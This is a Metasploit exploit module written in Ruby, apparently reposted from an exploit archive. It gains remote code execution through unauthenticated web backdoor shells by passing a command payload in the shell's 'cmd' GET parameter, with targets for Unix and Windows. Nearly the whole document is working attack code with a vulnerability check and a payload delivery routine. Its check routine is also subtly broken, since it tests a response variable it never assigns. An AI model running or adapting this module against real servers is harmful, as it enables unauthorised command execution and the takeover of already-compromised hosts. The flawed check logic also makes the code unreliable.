Simple Backdoor Shell Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Simple Backdoor Shell Remote Code Execution',  
'Description' => %q{  
This module exploits unauthenticated simple web backdoor shells by leveraging the  
common backdoor shell's CMD parameter to execute commands. The SecLists project of  
Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells  
which is categorized under Payloads.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jay Turla <@shipcod3>',  
],  
'References' =>  
[  
[ 'URL', 'http://resources.infosecinstitute.com/checking-out-backdoor-shells/' ],  
[ 'URL', 'https://github.com/danielmiessler/SecLists/tree/master/Payloads' ] # Most PHP Web Backdoors Listed  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => '',  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'Platform' => %w{ unix win },  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['backdoor / Unix', { 'Platform' => 'unix' } ],  
['backdoor / Windows', { 'Platform' => 'win' } ]  
],  
'DisclosureDate' => 'Sep 08 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']),  
],self.class)  
end  
  
def check  
test = Rex::Text.rand_text_alpha(8)  
http_send_command(test)  
if res && res.body =~ /#{test}/  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def http_send_command(cmd)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => {  
'cmd' => cmd  
}  
})  
unless res && res.code == 200  
fail_with(Failure::Unknown, "Failed to execute the command.")  
end  
res  
end  
  
def exploit  
http_send_command(payload.encoded)  
end  
end  
`